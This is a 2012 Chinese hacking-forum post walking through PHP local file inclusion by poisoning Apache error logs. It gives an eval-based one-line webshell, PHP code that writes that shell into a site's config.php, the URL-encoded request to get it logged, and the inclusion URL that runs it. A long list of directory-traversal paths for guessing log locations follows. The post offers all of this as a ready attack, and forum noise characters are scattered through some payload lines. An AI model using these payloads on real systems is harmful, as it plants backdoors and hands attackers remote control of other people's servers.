找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1956|回复: 0
打印 上一主题 下一主题

php包含apache日志写马

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:27:40 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。 * h2 r4 n7 P9 S+ B6 q

5 K  Q3 c8 ]1 U7 n7 ]0 _比如还是这句一句话木马
4 M% w) Q) B' I' D# G' b0 N<?eval($_POST[cmd]);?>   2 Z6 _8 ]0 {! O$ X, w6 Z
, D: B# i& X7 I
到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句,
4 u5 C( Z9 m" f( Ofopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 5 }) ^. D$ c# F& E6 R  U

& m" h9 R) D: H+ C& }$ q, ?7 ~<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>"); # k) e8 N4 y" Y  N3 Y) l8 I
fclose($fp);?>   //在config.php里写入一句木马语句
" ]. l$ q4 a! }" a, `- `
( P) C( M% V7 G# ?5 V0 `* {5 I我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。
# R! S( c: U" Y' ~转换为 / a  N+ ^* i) ~+ O/ [" Z
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F , g& q7 t9 v' `9 y: E& a4 f
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp 4 l# m) }1 P4 z! ?) X
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
4 I5 G6 S$ `# X( \( pfclose%28%24fp%29%3B%3F%3E + y  c) e/ x$ d# `2 n1 ]+ F
我们提交
* I. ~! G0 Z- J5 C' Thttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww 2 h8 p# s3 P9 R7 y: z5 s
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp   V8 s, u4 `0 k- ^) J0 `
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B ' Y- C5 z' u1 i* m' \
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E 3 U, T7 ^6 c* y' F' A# U
' c& b- T9 O: p( b
这样就错误日志里就记录下了这行写入webshell的代码。 : D) B3 a* S# C$ p; `
我们再来包含日志,提交
) D  M) L; t4 U) F1 }http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log " ?7 Z2 q6 J" {9 Z  I

, G# E0 @/ D5 Y) H. z- ~这样webshell就写入成功了,config.php里就写入一句木马语句 7 a, k2 E$ P. o( l( g6 l
OK.
! [$ Q! Y9 i* Z1 {: j8 m! Phttp://www.xxx.com/forum/config.php这个就成了我们的webshell # B1 W* v% i' f% f
直接用lanker的客户端一连,主机就是你的了。 # `% R. w" K6 {2 o
' P* N- ]* _' s4 {; w- ?- l- z
PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用 . O* n, k! G5 D' `: E9 a2 i% o
5 C- N) m% g4 K" z
其他的日志路径,你可以去猜,也可以参照这里。 % Z9 K6 m% e- A' ^
../../../../../../../../../../var/log/httpd/access_log : ?, m( ~  E9 b, V  R4 E0 h
../../../../../../../../../../var/log/httpd/error_log
. O: f+ F/ T1 Q- K% W9 y3 j../apache/logs/error.log " d; _/ B! @6 V; [* q. N- f
../apache/logs/access.log
, u8 [) {6 ?" [- ~# L$ [../../apache/logs/error.log " l! H2 N: [4 p& P/ J
../../apache/logs/access.log ' @4 {- Z5 [5 S" M8 q
../../../apache/logs/error.log 9 z) U9 u' L* T3 D
../../../apache/logs/access.log 4 i! U0 Z; h! U( o/ z5 V+ `9 b
../../../../../../../../../../etc/httpd/logs/acces_log
5 s+ v7 ^( }5 }../../../../../../../../../../etc/httpd/logs/acces.log
8 o% q, `# Q0 F% |../../../../../../../../../../etc/httpd/logs/error_log ) A6 c. u! r  v4 n
../../../../../../../../../../etc/httpd/logs/error.log 7 D1 g. w1 ]( p; N: ~/ t
../../../../../../../../../../var/www/logs/access_log * U  a3 w/ P& h8 l$ n+ a
../../../../../../../../../../var/www/logs/access.log # ~  C5 v( Q" }0 Z" C
../../../../../../../../../../usr/local/apache/logs/access_log
7 B$ d5 e$ m) ]: u7 V3 D! L: K# G  ?../../../../../../../../../../usr/local/apache/logs/access.log
; S  }7 [6 _6 C$ m* D- H  t3 K1 R1 F../../../../../../../../../../var/log/apache/access_log : W" S# c2 U$ p2 L
../../../../../../../../../../var/log/apache/access.log
" [  M1 o, K$ N1 q/ A../../../../../../../../../../var/log/access_log 8 ]9 R+ w) N# B/ v$ |9 Y! P3 L4 u; d
../../../../../../../../../../var/www/logs/error_log ) X! n2 J7 M/ o0 ]) h4 [
../../../../../../../../../../var/www/logs/error.log
& u& w) l, I9 b5 t' g* m../../../../../../../../../../usr/local/apache/logs/error_log
8 s4 @6 i) X" ]5 {# o$ W4 m../../../../../../../../../../usr/local/apache/logs/error.log + q7 o, \6 `( ~; x5 V) m
../../../../../../../../../../var/log/apache/error_log
7 O0 I, D4 G; ~2 q+ u7 }4 K../../../../../../../../../../var/log/apache/error.log 1 P0 E; p  d0 r: N
../../../../../../../../../../var/log/access_log 5 s8 |3 T7 J' c) q# o6 }
../../../../../../../../../../var/log/error_log $ |5 v8 p# }" g& `+ d. r8 y
/var/log/httpd/access_log       ( d# r! r7 J) ^. b8 U
/var/log/httpd/error_log     
3 y  E& p4 A5 X& n. N../apache/logs/error.log     * F1 _1 r5 W2 C: ]' y
../apache/logs/access.log : [! _7 y$ [) p4 A8 S9 L
../../apache/logs/error.log
- x5 g8 D4 q& f+ u# L../../apache/logs/access.log
4 \+ F7 a4 m5 f+ m/ C) }% e../../../apache/logs/error.log
% M+ Q/ s/ v0 S( w+ t2 b( {../../../apache/logs/access.log + t8 [& a* n% H
/etc/httpd/logs/acces_log
6 J. L$ n. d# C% F' n. E* l; ^/etc/httpd/logs/acces.log
* F; Q  ~/ U0 X- c/etc/httpd/logs/error_log
# j: j  ^- [) l* p+ C+ ?/etc/httpd/logs/error.log ( Z9 l8 q* \" v" M" E* K1 k
/var/www/logs/access_log   F6 }4 O" k$ ^; _6 A; Y! R' [
/var/www/logs/access.log
. C4 _* O4 W) I/ `' z5 c6 J/usr/local/apache/logs/access_log
4 O& ~. i2 k+ N/usr/local/apache/logs/access.log
  h! F% k  `; L) P6 z5 D/var/log/apache/access_log 9 X4 V; l% I3 u, W& v
/var/log/apache/access.log
7 O- I, e! x  T* d4 K# e/var/log/access_log ! A3 o: }3 h* \1 _+ X0 m7 y
/var/www/logs/error_log
- l6 T- d" I" i+ c+ Q, s( w/var/www/logs/error.log
, X' k% ]9 @2 J# p1 S6 a+ Y/usr/local/apache/logs/error_log
( _( |% @- y% k" ^& `/usr/local/apache/logs/error.log 7 K* A9 E$ g4 f! z2 F
/var/log/apache/error_log ( h' ?3 @# E4 r# J9 T0 N! f* K! G/ z
/var/log/apache/error.log
; w0 D2 K7 U$ s/var/log/access_log
: K! ]: M" ^& G& |# {" \$ R3 X/var/log/error_log
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表